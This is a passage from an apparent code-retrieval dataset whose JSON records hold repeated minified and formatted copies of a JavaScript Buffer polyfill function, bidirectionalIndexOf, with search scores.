+byteOffset; // Coerce to Number.\n\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : buffer.length - 1;\n } // Normalize byteOffset: negative offsets start from the end of the buffer\n\n\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset;\n\n if (byteOffset >= buffer.length) {\n if (dir) return -1;else byteOffset = buffer.length - 1;\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0;else return -1;\n } // Normalize val\n\n\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding);\n } // Finally, search either indexOf (if dir is true) or lastIndexOf\n\n\n if (internalIsBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1;\n }\n\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir);\n } else if (typeof val === 'number') {\n val = val & 0xFF; // Search for a byte value [0-255]\n\n if (Buffer.TYPED_ARRAY_SUPPORT && typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset);\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset);\n }\n }\n\n return arrayIndexOf(buffer, [val], byteOffset, encoding, dir);\n }\n\n throw new TypeError('val must be string, number or Buffer');\n}", "title": "" }, { "docid": "ae202674123c8ac2d288373144f5b4aa", "score": "0.82549024", "text": "function bidirectionalIndexOf(buffer,val,byteOffset,encoding,dir){// Empty buffer means no match\nif(buffer.length===0)return-1;// Normalize byteOffset\nif(typeof byteOffset==='string'){encoding=byteOffset;byteOffset=0;}else if(byteOffset>0x7fffffff){byteOffset=0x7fffffff;}else if(byteOffset<-0x80000000){byteOffset=-0x80000000;}byteOffset=+byteOffset;// Coerce to Number.\nif(numberIsNaN(byteOffset)){// byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\nbyteOffset=dir?0:buffer.length-1;}// Normalize byteOffset: negative offsets start from the end of the buffer\nif(byteOffset<0)byteOffset=buffer.length+byteOffset;if(byteOffset>=buffer.length){if(dir)return-1;else byteOffset=buffer.length-1;}else if(byteOffset<0){if(dir)byteOffset=0;else return-1;}// Normalize val\nif(typeof val==='string'){val=Buffer.from(val,encoding);}// Finally, search either indexOf (if dir is true) or lastIndexOf\nif(Buffer.isBuffer(val)){// Special case: looking for empty string/buffer always fails\nif(val.length===0){return-1;}return arrayIndexOf(buffer,val,byteOffset,encoding,dir);}else if(typeof val==='number'){val=val&0xFF;// Search for a byte value [0-255]\nif(typeof Uint8Array.prototype.indexOf==='function'){if(dir){return Uint8Array.prototype.indexOf.call(buffer,val,byteOffset);}else{return Uint8Array.prototype.lastIndexOf.call(buffer,val,byteOffset);}}return arrayIndexOf(buffer,[val],byteOffset,encoding,dir);}throw new TypeError('val must be string, number or Buffer');}", "title": "" }, { "docid": "ae202674123c8ac2d288373144f5b4aa", "score": "0.82549024", "text": "function bidirectionalIndexOf(buffer,val,byteOffset,encoding,dir){// Empty buffer means no match\nif(buffer.length===0)return-1;// Normalize byteOffset\nif(typeof byteOffset==='string'){encoding=byteOffset;byteOffset=0;}else if(byteOffset>0x7fffffff){byteOffset=0x7fffffff;}else if(byteOffset<-0x80000000){byteOffset=-0x80000000;}byteOffset=+byteOffset;// Coerce to Number.\nif(numberIsNaN(byteOffset)){// byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\nbyteOffset=dir?0:buffer.length-1;}// Normalize byteOffset: negative offsets start from the end of the buffer\nif(byteOffset<0)byteOffset=buffer.length+byteOffset;if(byteOffset>=buffer.length){if(dir)return-1;else byteOffset=buffer.length-1;}else if(byteOffset<0){if(dir)byteOffset=0;else return-1;}// Normalize val\nif(typeof val==='string'){val=Buffer.from(val,encoding);}// Finally, search either indexOf (if dir is true) or lastIndexOf\nif(Buffer.isBuffer(val)){// Special case: looking for empty string/buffer always fails\nif(val.length===0){return-1;}return arrayIndexOf(buffer,val,byteOffset,encoding,dir);}else if(typeof val==='number'){val=val&0xFF;// Search for a byte value [0-255]\nif(typeof Uint8Array.prototype.indexOf==='function'){if(dir){return Uint8Array.prototype.indexOf.call(buffer,val,byteOffset);}else{return Uint8Array.prototype.lastIndexOf.call(buffer,val,byteOffset);}}return arrayIndexOf(buffer,[val],byteOffset,encoding,dir);}throw new TypeError('val must be string, number or Buffer');}", "title": "" }, { "docid": "ae202674123c8ac2d288373144f5b4aa", "score": "0.82549024", "text": "function bidirectionalIndexOf(buffer,val,byteOffset,encoding,dir){// Empty buffer means no match\nif(buffer.length===0)return-1;// Normalize byteOffset\nif(typeof byteOffset==='string'){encoding=byteOffset;byteOffset=0;}else if(byteOffset>0x7fffffff){byteOffset=0x7fffffff;}else if(byteOffset<-0x80000000){byteOffset=-0x80000000;}byteOffset=+byteOffset;// Coerce to Number.\nif(numberIsNaN(byteOffset)){// byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\nbyteOffset=dir?0:buffer.length-1;}// Normalize byteOffset: negative offsets start from the end of the buffer\nif(byteOffset<0)byteOffset=buffer.length+byteOffset;if(byteOffset>=buffer.length){if(dir)return-1;else byteOffset=buffer.length-1;}else if(byteOffset<0){if(dir)byteOffset=0;else return-1;}// Normalize val\nif(typeof val==='string'){val=Buffer.from(val,encoding);}// Finally, search either indexOf (if dir is true) or lastIndexOf\nif(Buffer.isBuffer(val)){// Special case: looking for empty string/buffer always fails\nif(val.length===0){return-1;}return arrayIndexOf(buffer,val,byteOffset,encoding,dir);}else if(typeof val==='number'){val=val&0xFF;// Search for a byte value [0-255]\nif(typeof Uint8Array.prototype.indexOf==='function'){if(dir){return Uint8Array.prototype.indexOf.call(buffer,val,byteOffset);}else{return Uint8Array.prototype.lastIndexOf.call(buffer,val,byteOffset);}}return arrayIndexOf(buffer,[val],byteOffset,encoding,dir);}throw new TypeError('val must be string, number or Buffer');}", "title": "" }, { "docid": "ae202674123c8ac2d288373144f5b4aa", "score": "0.82549024", "text": "function bidirectionalIndexOf(buffer,val,byteOffset,encoding,dir){// Empty buffer means no match\nif(buffer.length===0)return-1;// Normalize byteOffset\nif(typeof byteOffset==='string'){encoding=byteOffset;byteOffset=0;}else if(byteOffset>0x7fffffff){byteOffset=0x7fffffff;}else if(byteOffset<-0x80000000){byteOffset=-0x80000000;}byteOffset=+byteOffset;// Coerce to Number.\nif(numberIsNaN(byteOffset)){// byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\nbyteOffset=dir?0:buffer.length-1;}// Normalize byteOffset: negative offsets start from the end of the buffer\nif(byteOffset<0)byteOffset=buffer.length+byteOffset;if(byteOffset>=buffer.length){if(dir)return-1;else byteOffset=buffer.length-1;}else if(byteOffset<0){if(dir)byteOffset=0;else return-1;}// Normalize val\nif(typeof val==='string'){val=Buffer.from(val,encoding);}// Finally, search either indexOf (if dir is true) or lastIndexOf\nif(Buffer.isBuffer(val)){// Special case: looking for empty string/buffer always fails\nif(val.length===0){return-1;}return arrayIndexOf(buffer,val,byteOffset,encoding,dir);}else if(typeof val==='number'){val=val&0xFF;// Search for a byte value [0-255]\nif(typeof Uint8Array.prototype.indexOf==='function'){if(dir){return Uint8Array.prototype.indexOf.call(buffer,val,byteOffset);}else{return Uint8Array.prototype.lastIndexOf.call(buffer,val,byteOffset);}}return arrayIndexOf(buffer,[val],byteOffset,encoding,dir);}throw new TypeError('val must be string, number or Buffer');}", "title": "" }, { "docid": "66fa30edf68888ecd9ae2c173c213dce", "score": "0.82535696", "text": "function bidirectionalIndexOf(buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1; // Normalize byteOffset\n\n if (typeof byteOffset === 'string') {\n encoding = byteOffset;\n byteOffset = 0;\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff;\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000;\n }\n\n byteOffset = +byteOffset; // Coerce to Number.\n\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : buffer.length - 1;\n } // Normalize byteOffset: negative offsets start from the end of the buffer\n\n\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset;\n\n if (byteOffset >= buffer.length) {\n if (dir) return -1;else byteOffset = buffer.length - 1;\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0;else return -1;\n } // Normalize val\n\n\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding);\n } // Finally, search either indexOf (if dir is true) or lastIndexOf\n\n\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1;\n }\n\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir);\n } else if (typeof val === 'number') {\n val = val & 0xFF; // Search for a byte value [0-255]\n\n if (Buffer.TYPED_ARRAY_SUPPORT && typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset);\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset);\n }\n }\n\n return arrayIndexOf(buffer, [val], byteOffset, encoding, dir);\n }\n\n throw new TypeError('val must be string, number or Buffer');\n}", "title": "" }, { "docid": "66fa30edf68888ecd9ae2c173c213dce", "score": "0.82535696", "text": "function bidirectionalIndexOf(buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1; // Normalize byteOffset\n\n if (typeof byteOffset === 'string') {\n encoding = byteOffset;\n byteOffset = 0;\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff;\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000;\n }\n\n byteOffset = +byteOffset; // Coerce to Number.\n\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : buffer.length - 1;\n } // Normalize byteOffset: negative offsets start from the end of the buffer\n\n\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset;\n\n if (byteOffset >= buffer.length) {\n if (dir) return -1;else byteOffset = buffer.length - 1;\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0;else return -1;\n } // Normalize val\n\n\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding);\n } // Finally, search either indexOf (if dir is true) or lastIndexOf\n\n\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1;\n }\n\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir);\n } else if (typeof val === 'number') {\n val = val & 0xFF; // Search for a byte value [0-255]\n\n if (Buffer.TYPED_ARRAY_SUPPORT && typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset);\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset);\n }\n }\n\n return arrayIndexOf(buffer, [val], byteOffset, encoding, dir);\n }\n\n throw new TypeError('val must be string, number or Buffer');\n}", "title": "" }, { "docid": "66fa30edf68888ecd9ae2c173c213dce", "score": "0.82535696", "text": "function bidirectionalIndexOf(buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1; // Normalize byteOffset\n\n if (typeof byteOffset === 'string') {\n encoding = byteOffset;\n byteOffset = 0;\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff;\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000;\n }\n\n byteOffset = +byteOffset; // Coerce to Number.\n\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : buffer.length - 1;\n } // Normalize byteOffset: negative offsets start from the end of the buffer\n\n\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset;\n\n if (byteOffset >= buffer.length) {\n if (dir) return -1;else byteOffset = buffer.length - 1;\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0;else return -1;\n } // Normalize val\n\n\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding);\n } // Finally, search either indexOf (if dir is true) or lastIndexOf\n\n\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1;\n }\n\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir);\n } else if (typeof val === 'number') {\n val = val & 0xFF; // Search for a byte value [0-255]\n\n if (Buffer.TYPED_ARRAY_SUPPORT && typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset);\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset);\n }\n }\n\n return arrayIndexOf(buffer, [val], byteOffset, encoding, dir);\n }\n\n throw new TypeError('val must be string, number or Buffer');\n}", "title": "" }, { "docid": "66fa30edf68888ecd9ae2c173c213dce", "score": "0.82535696", "text": "function bidirectionalIndexOf(buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1; // Normalize byteOffset\n\n if (typeof byteOffset === 'string') {\n encoding = byteOffset;\n byteOffset = 0;\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff;\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000;\n }\n\n byteOffset = +byteOffset; // Coerce to Number.\n\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : buffer.length - 1;\n } // Normalize byteOffset: negative offsets start from the end of the buffer\n\n\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset;\n\n if (byteOffset >= buffer.length) {\n if (dir) return -1;else byteOffset = buffer.length - 1;\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0;else return -1;\n } // Normalize val\n\n\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding);\n } // Finally, search either indexOf (if dir is true) or lastIndexOf\n\n\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1;\n }\n\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir);\n } else if (typeof val === 'number') {\n val = val & 0xFF; // Search for a byte value [0-255]\n\n if (Buffer.TYPED_ARRAY_SUPPORT && typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset);\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset);\n }\n }\n\n return arrayIndexOf(buffer, [val], byteOffset, encoding, dir);\n }\n\n throw new TypeError('val must be string, number or Buffer');\n}", "title": "" }, { "docid": "66fa30edf68888ecd9ae2c173c213dce", "score": "0.82535696", "text": "function bidirectionalIndexOf(buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1; // Normalize byteOffset\n\n if (typeof byteOffset === 'string') {\n encoding = byteOffset;\n byteOffset = 0;\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff;\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000;\n }\n\n byteOffset = +byteOffset; // Coerce to Number.\n\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : buffer.length - 1;\n } // Normalize byteOffset: negative offsets start from the end of the buffer\n\n\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset;\n\n if (byteOffset >= buffer.length) {\n if (dir) return -1;else byteOffset = buffer.length - 1;\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0;else return -1;\n } // Normalize val\n\n\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding);\n } // Finally, search either indexOf (if dir is true) or lastIndexOf\n\n\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1;\n }\n\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir);\n } else if (typeof val === 'number') {\n val = val & 0xFF; // Search for a byte value [0-255]\n\n if (Buffer.TYPED_ARRAY_SUPPORT && typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset);\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset);\n }\n }\n\n return arrayIndexOf(buffer, [val], byteOffset, encoding, dir);\n }\n\n throw new TypeError('val must be string, number or Buffer');\n}", "title": "" }, { "docid": "66fa30edf68888ecd9ae2c173c213dce", "score": "0.82535696", "text": "function bidirectionalIndexOf(buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1; // Normalize byteOffset\n\n if (typeof byteOffset === 'string') {\n encoding = byteOffset;\n byteOffset = 0;\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff;\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000;\n }\n\n byteOffset = +byteOffset; // Coerce to Number.\n\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : buffer.length - 1;\n } // Normalize byteOffset: negative offsets start from the end of the buffer\n\n\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset;\n\n if (byteOffset >= buffer.length) {\n if (dir) return -1;else byteOffset = buffer.length - 1;\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0;else return -1;\n } // Normalize val\n\n\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding);\n } // Finally, search either indexOf (if dir is true) or lastIndexOf\n\n\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1;\n }\n\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir);\n } else if (typeof val === 'number') {\n val = val & 0xFF; // Search for a byte value [0-255]\n\n if (Buffer.TYPED_ARRAY_SUPPORT && typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset);\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset);\n }\n }\n\n return arrayIndexOf(buffer, [val], byteOffset, encoding, dir);\n }\n\n throw new TypeError('val must be string, number or Buffer');\n}", "title": "" }, { "docid": "66fa30edf68888ecd9ae2c173c213dce", "score": "0.82535696", "text": "function bidirectionalIndexOf(buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1; // Normalize byteOffset\n\n if (typeof byteOffset === 'string') {\n encoding = byteOffset;\n byteOffset = 0;\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff;\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000;\n }\n\n byteOffset = +byteOffset; // Coerce to Number.\n\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : buffer.length - 1;\n } // Normalize byteOffset: negative offsets start from the end of the buffer\n\n\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset;\n\n if (byteOffset >= buffer.length) {\n if (dir) return -1;else byteOffset = buffer.length - 1;\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0;else return -1;\n } // Normalize val\n\n\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding);\n } // Finally, search either indexOf (if dir is true) or lastIndexOf\n\n\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1;\n }\n\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir);\n } else if (typeof val === 'number') {\n val = val & 0xFF; // Search for a byte value [0-255]\n\n if (Buffer.TYPED_ARRAY_SUPPORT && typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset);\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset);\n }\n }\n\n return arrayIndexOf(buffer, [val], byteOffset, encoding, dir);\n }\n\n throw new TypeError('val must be string, number or Buffer');\n}", "title": "" }, { "docid": "66fa30edf68888ecd9ae2c173c213dce", "score": "0.82535696", "text": "function bidirectionalIndexOf(buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1; // Normalize byteOffset\n\n if (typeof byteOffset === 'string') {\n encoding = byteOffset;\n byteOffset = 0;\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff;\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000;\n }\n\n byteOffset = +byteOffset; // Coerce to Number.\n\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : buffer.length - 1;\n } // Normalize byteOffset: negative offsets start from the end of the buffer\n\n\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset;\n\n if (byteOffset >= buffer.length) {\n if (dir) return -1;else byteOffset = buffer.length - 1;\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0;else return -1;\n } // Normalize val\n\n\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding);\n } // Finally, search either indexOf (if dir is true) or lastIndexOf\n\n\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1;\n }\n\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir);\n } else if (typeof val === 'number') {\n val = val & 0xFF; // Search for a byte value [0-255]\n\n if (Buffer.TYPED_ARRAY_SUPPORT && typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset);\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset);\n }\n }\n\n return arrayIndexOf(buffer, [val], byteOffset, encoding, dir);\n }\n\n throw new TypeError('val must be string, number or Buffer');\n}", "title": "" }, { "docid": "66fa30edf68888ecd9ae2c173c213dce", "score": "0.82535696", "text": "function bidirectionalIndexOf(buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1; // Normalize byteOffset\n\n if (typeof byteOffset === 'string') {\n encoding = byteOffset;\n byteOffset = 0;\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff;\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000;\n }\n\n byteOffset = +byteOffset; // Coerce to Number.\n\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : buffer.length - 1;\n } // Normalize byteOffset: negative offsets start from the end of the buffer\n\n\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset;\n\n if (byteOffset >= buffer.length) {\n if (dir) return -1;else byteOffset = buffer.length - 1;\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0;else return -1;\n } // Normalize val\n\n\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding);\n } // Finally, search either indexOf (if dir is true) or lastIndexOf\n\n\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1;\n }\n\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir);\n } else if (typeof val === 'number') {\n val = val & 0xFF; // Search for a byte value [0-255]\n\n if (Buffer.TYPED_ARRAY_SUPPORT && typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset);\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset);\n }\n }\n\n return arrayIndexOf(buffer, [val], byteOffset, encoding, dir);\n }\n\n throw new TypeError('val must be string, number or Buffer');\n}", "title": "" }, { "docid": "66fa30edf68888ecd9ae2c173c213dce", "score": "0.82535696", "text": "function bidirectionalIndexOf(buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1; // Normalize byteOffset\n\n if (typeof byteOffset === 'string') {\n encoding = byteOffset;\n byteOffset = 0;\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff;\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000;\n }\n\n byteOffset = +byteOffset; // Coerce to Number.\n\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : buffer.length - 1;\n } // Normalize byteOffset: negative offsets start from the end of the buffer\n\n\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset;\n\n if (byteOffset >= buffer.length) {\n if (dir) return -1;else byteOffset = buffer.length - 1;\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0;else return -1;\n } // Normalize val\n\n\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding);\n } // Finally, search either indexOf (if dir is true) or lastIndexOf\n\n\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1;\n }\n\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir);\n } else if (typeof val === 'number') {\n val = val & 0xFF; // Search for a byte value [0-255]\n\n if (Buffer.TYPED_ARRAY_SUPPORT && typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset);\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset);\n }\n }\n\n return arrayIndexOf(buffer, [val], byteOffset, encoding, dir);\n }\n\n throw new TypeError('val must be string, number or Buffer');\n}", "title": "" }, { "docid": "66fa30edf68888ecd9ae2c173c213dce", "score": "0.82535696", "text": "function bidirectionalIndexOf(buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1; // Normalize byteOffset\n\n if (typeof byteOffset === 'string') {\n encoding = byteOffset;\n byteOffset = 0;\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff;\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000;\n }\n\n byteOffset = +byteOffset; // Coerce to Number.\n\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : buffer.length - 1;\n } // Normalize byteOffset: negative offsets start from the end of the buffer\n\n\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset;\n\n if (byteOffset >= buffer.length) {\n if (dir) return -1;else byteOffset = buffer.length - 1;\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0;else return -1;\n } // Normalize val\n\n\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding);\n } // Finally, search either indexOf (if dir is true) or lastIndexOf\n\n\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1;\n }\n\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir);\n } else if (typeof val === 'number') {\n val = val & 0xFF; // Search for a byte value [0-255]\n\n if (Buffer.TYPED_ARRAY_SUPPORT && typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset);\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset);\n }\n }\n\n return arrayIndexOf(buffer, [val], byteOffset, encoding, dir);\n }\n\n throw new TypeError('val must be string, number or Buffer');\n}", "title": "" }, { "docid": "66fa30edf68888ecd9ae2c173c213dce", "score": "0.82535696", "text": "function bidirectionalIndexOf(buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1; // Normalize byteOffset\n\n if (typeof byteOffset === 'string') {\n encoding = byteOffset;\n byteOffset = 0;\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff;\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000;\n }\n\n byteOffset = +byteOffset; // Coerce to Number.\n\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : buffer.length - 1;\n } // Normalize byteOffset: negative offsets start from the end of the buffer\n\n\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset;\n\n if (byteOffset >= buffer.length) {\n if (dir) return -1;else byteOffset = buffer.length - 1;\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0;else return -1;\n } // Normalize val\n\n\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding);\n } // Finally, search either indexOf (if dir is true) or lastIndexOf\n\n\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1;\n }\n\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir);\n } else if (typeof val === 'number') {\n val = val & 0xFF; // Search for a byte value [0-255]\n\n if (Buffer.TYPED_ARRAY_SUPPORT && typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset);\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset);\n }\n }\n\n return arrayIndexOf(buffer, [val], byteOffset, encoding, dir);\n }\n\n throw new TypeError('val must be string, number or Buffer');\n}", "title": "" }, { "docid": "66fa30edf68888ecd9ae2c173c213dce", "score": "0.82535696", "text": "function bidirectionalIndexOf(buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1; // Normalize byteOffset\n\n if (typeof byteOffset === 'string') {\n encoding = byteOffset;\n byteOffset = 0;\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff;\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000;\n }\n\n byteOffset = +byteOffset; // Coerce to Number.\n\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole 